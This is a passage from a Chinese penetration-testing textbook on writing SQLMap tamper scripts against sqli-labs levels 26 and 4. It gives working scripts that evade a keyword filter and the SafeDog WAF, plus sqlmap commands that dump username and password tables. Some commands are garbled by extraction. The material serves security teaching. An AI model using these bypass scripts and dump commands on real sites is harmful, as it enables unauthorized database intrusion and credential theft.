由于SQL注入的影响过于广泛以及人们的网络安全意识普遍提升,网站往往 会针对SQL注入添加防SQL注入系统或者WAF 。这时,在渗透测试过程中就需要 绕过网站的安全防护系统。SQLMap是一款用来检测与利用SQL注入漏洞的免费 开源工具,不仅可以实现SQL注入漏洞的检测与利用的自动化处理,而且其自带 的Tamper脚本可以帮助我们绕过IDS/WAF的检测。
5.4.1 简介
SQLMap是一款基于Python开发的开源自动化SQL注入工具,功能强大且自带 了很多绕过脚本, 目前支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server 、Microsoft Access 、IBM DB2 、SQLite 、Firebird 、Sybase和SAP
MaxDB 。SQLMap采用了以下5种SQL注入技术:
·基于布尔的盲注:能根据页面的返回内容判断真假的注入技术。
·基于时间的盲注:不能根据页面的返回内容来判断信息,而是使用条件语句 查看时间延迟语句是否执行(即页面的返回时间是否增加),以此来判断。
·基于报错的注入:根据页面返回的错误信息来判断,或者把注入语句的结果 直接返回到页面中。
·堆查询注入:可以同时执行多条语句的执行时的注入。
在渗透测试过程中采用SQLMap ,只需要输入几个参数,就可以自动帮助我 们完成一系列的SQL注入。为了提高安全性,网站管理员往往会添加防SQL注入 系统或者WAF 。SQLMap提供的Tamper脚本可以帮助我们有效地绕过这些安全防 护,完成渗透测试。
现在SQLMap提供了57个Tamper脚本,具体内容如表5-1所示。
表5-1 Tamper脚本
在渗透测试过程中,读者可根据表5-1使用相关的Tamper脚本来绕过 IDS/WAF的检测。
虽然SQLMap提供了这么多的Tamper脚本,但是在实际使用的过程中,网站 的安全防护并没有那么简单,可能过滤了许多敏感的字符以及相关的函数。这个 时候就需要我们针对目标的防护体系手动构建相应的Tamper脚本。
Tamper相当于一个加工车间,它会把我们的Payload进行加工之后发往目标网 站。下面我们简单介绍Tamper的结构:
U
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap .org/)
See the file 'LICENSE ' for copying permission
"""
# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core .enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY .LOW
# 对当前脚本的介绍,可以为空
def dependencies() :
pass
"""
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。在官方提供的Tamper脚本中 只被使用了两次,两次都只是更改了http-header
"""
def tamper(payload, **kwargs) :
# 增加相关的payload处理,再将payload返回
# 必须返回最后的payload
return payload
Tamper脚本的构建非常简单,其实渗透测试中真正的难点在于如何针对目标 网站的防护找出对应的绕过方法。
5.4.2 Tamper脚本的编写( 一)
经过5.4.1节对Tamper脚本的介绍,本节我们来编写绕过目标网站防SQL注入 系统的Tamper脚本。
此处以sqli-labs 的第26关为例,如图5-8所示。笔者的环境为PHP- 5.2.17+Apache。
图5-8 sqli-labs第26关
以下为网站的过滤函数,可以看到网站过滤了or 、and 、/* 、-- 、# 、空格和斜 杠:
function blacklist($id)
{
$id= preg_replace( '/or/i ',"", $id); //strip out OR (non case sensitive)
$id= preg_replace( '/and/i ',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace( '/[\/\*]/ ',"", $id); //strip out /*
$id= preg_replace( '/[--]/ ',"", $id); //Strip out --
$id= preg_replace( '/[#]/ ',"", $id); //Strip out #
$id= preg_replace( '/[\s]/ ',"", $id); //Strip out spaces
$id= preg_replace( '/[\/\\\\]/ ',"", $id); //Strip out slashes
return $id;
}
表5-2所示是笔者经过测试得出的绕过方法:
表5-2 关键字与绕过方法
先编写第一个双写绕过脚本double-and-or.py: |
# -*- coding:UTF-8 -*- """ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap .org/) See the file 'LICENSE ' for copying permission """ # 导入正则模块,用于字符的替换 import re # sqlmap中lib\core\enums中的PRIORITY优先级函数 from lib.core .enums import PRIORITY # 定义脚本优先级 __priority__ = PRIORITY .NORMAL # 脚本描述函数 def dependencies() : pass def tamper(payload, **kwargs) : # 将payload进行转存 retVal = payload if payload : # 使用re .sub函数不区分大小写地替换and和or # 将and和or替换为anandd和oorr retVal = re .sub(r"(?i)(or)", r"oorr", retVal) retVal = re .sub(r"(?i)(and)", r"anandd", retVal) # 把最后修改好的payload返回 return retVal |
再编写第二个空格替换脚本space2A0.py 。在这里我们可以直接以官方Tamper 脚本的space2plus.py为模板进行更改:
|
#!/usr/bin/env python
# -*- coding:UTF-8 -*-
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap .org/)
See the file 'LICENSE ' for copying permission
"""
from lib.core .compat import xrange
from lib.core .enums import PRIORITY
__priority__ = PRIORITY .LOW
def dependencies() :
pass
def tamper(payload, **kwargs) :
retVal = payload
if payload :
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)) :
if not firstspace:
if payload[i] .isspace() :
firstspace = True
# 把原先的+改为%a0即可
retVal += "%a0"
continue
elif payload[i] == '\ ' ' :
quote = not quote
elif payload[i] == '" ' :
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
# 把原先的+改为%a0即可
retVal += "%a0"
continue
retVal += payload[i]
return retVal
我们先看一下在不使用Tamper脚本的情况下,SQLMap对网站进行注入的情 况。运行如下代码: |
>>> sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" |
运行结果发现SQLMap无法进行注入:
我们在编写的绕过脚本中增加--tamper ,增加-v 3来查看输出的Payload 。代码 如下:
>>>sqlmap -u "http://192 .168 .61 .1/sql/Less-26/?id=3" or .py,space2A0 .py" -v 3 | --tamper "double-and- |
通过观察Payload的输出发现,脚本已经成功执行,如下所示:
SQLMap已经成功找出注入点,结果如下所示:
U >>>
U | sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" "double-and-or .py,space2A0 .py" –dbs | -v | 3 | --tamper |
运行结果如下所示:
接下来遍历security里面的数据表,代码如下:
>>> | sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" -v "double-and-or .py,space2A0 .py" -D "security" --tables | 3 --tamper |
运行结果如下所示: | ||
再来遍历security数据库中users表的字段,代码如下: | ||
>>> | sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" -v "double-and-or .py,space2A0 .py" -D "security" -T "users" | 3 --tamper --columns |
运行结果如下所示:
>>> | sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" -v "double-and-or .py,space2A0 .py" -D "security" -T "users" password" --dump | 3 --tamper -C "username, | |
|
|
|
运行结果如下所示:
但是这里发现,并没有数据出现。这说明最后遍历数据库数据的Payload还是 有问题。通过查看SQLMap的Payload发现,Payload中的count(* )出现了关键词
* ,说明是被过滤了。所以我们还需要再写一个Tamper把count(* )进行替换。这 里可以通过count(常数)来代替count(* )。
我们编写第三个脚本count.py ,把count(* )变成count(1):
#!/usr/bin/env python # -*- coding:UTF-8 -*- """ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap .org/) See the file 'LICENSE ' for copying permission """ import re from lib.core .enums import PRIORITY __priority__ = PRIORITY .NORMAL def dependencies() : pass def tamper(payload, **kwargs) : retVal = payload if payload : # 把count(*)替换为count(1) retVal = re .sub(r"(?i)count\(\*\)", r"count(1)", payload) return retVal |
然后继续进行注入,代码如下: |
>>> sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" -v 3 --tamper "double-and-or .py,space2A0 .py,count.py" -D "security" -T "users" -C "username,password" --dump |
运行结果如下所示:
这样我们通过3个Tamper脚本的搭配使用,成功绕过网站的防护完成了SQL 注入。
5.4.3 Tamper脚本的编写(二)
5.4.2节中我们讲了绕过网站自身防SQL注入系统的方法,本节将针对WAF编 写Tamper脚本进行绕过。
此处以sqli-labs靶场的第4关为例,如图5-9所示。笔者的环境为PHP- 5.2.17+Apache。
图5-9 sqli-labs第4关
安装网站安全狗(Apache版)4.0V正式版,安全狗的防护参数设置如图5-10 和图5-11所示。
此时,我们再次尝试进行SQL注入时,安全狗就会进行拦截,如图5-12和图 5-13所示。
表5-3所示是笔者经过测试,总结的对当前版本安全狗的绕过方法。
图5-10 安全狗的防护设置1
图5-11 安全狗的防护设置2
图5-12 安全狗拦截1
图5-13 安全狗拦截2
表5-3 安全狗的绕过方法
我们编写一个Tamper脚本,把安全狗拦截的关键字进行替换:
#!/usr/bin/env python
#!/usr/bin/env python
from lib.core .enums import PRIORITY
from lib.core .settings import UNICODE_ENCODING
__priority__ = PRIORITY .NORMAL
def dependencies() :
pass
def tamper(payload, **kwargs) :
if payload :
payload = payload.replace("UNION","union/* !88888cas*/")
payload = payload.replace("--","/* !*/--")
payload = payload.replace("SELECT","/* !88888cas*/select")
payload = payload.replace("FROM","/* !99999c*//* !99999c*/from")
payload = payload.replace("#","/* !*/#")
payload = payload.replace("USER()","USER/* !()*/")
payload = payload.replace("DATABASE()","DATABASE/* !()*/")
payload = payload.replace(" ","/* !*/")
payload = payload.replace("=","/* !*/=/* !*/")
payload = payload.replace("AND","/* !*/AND/* !*/")
return payload
我们使用Tamper脚本再次尝试SQL注入,代码如下: |
>>>sqlmap -u "http://192 .168 .61 .134/sqli/Less-4/?id=1" --tamper "Bypass .py" -v 3 --dbs |
运行结果如下所示: |
可以看到,我们成功绕过安全狗的防护探测到数据库的信息,接下来我们探 测security数据库,代码如下: |
>>>sqlmap -u "http://192 .168 .61 .134/sqli/Less-4/?id=1" --tamper "Bypass .py" -v 3 -D "security" –tables |
运行结果如下所示:
接下来遍历security数据库users表的字段,代码如下:
>>>sqlmap -u "http://192 .168 .61 .134/sqli/Less-4/?id=1" -v 3 -D "security" -T "users" --columns | --tamper | "Bypass .py" |
运行结果如下所示: | ||
再接下来就是遍历数据了,代码如下:
|
>>>sqlmap -u "http://192 .168 .61 .134/sqli/Less-4/?id=1" --tamper "Bypass .py" -v 3 -D "security" -T "users" -C "username,password" --dump
运行结果如下所示: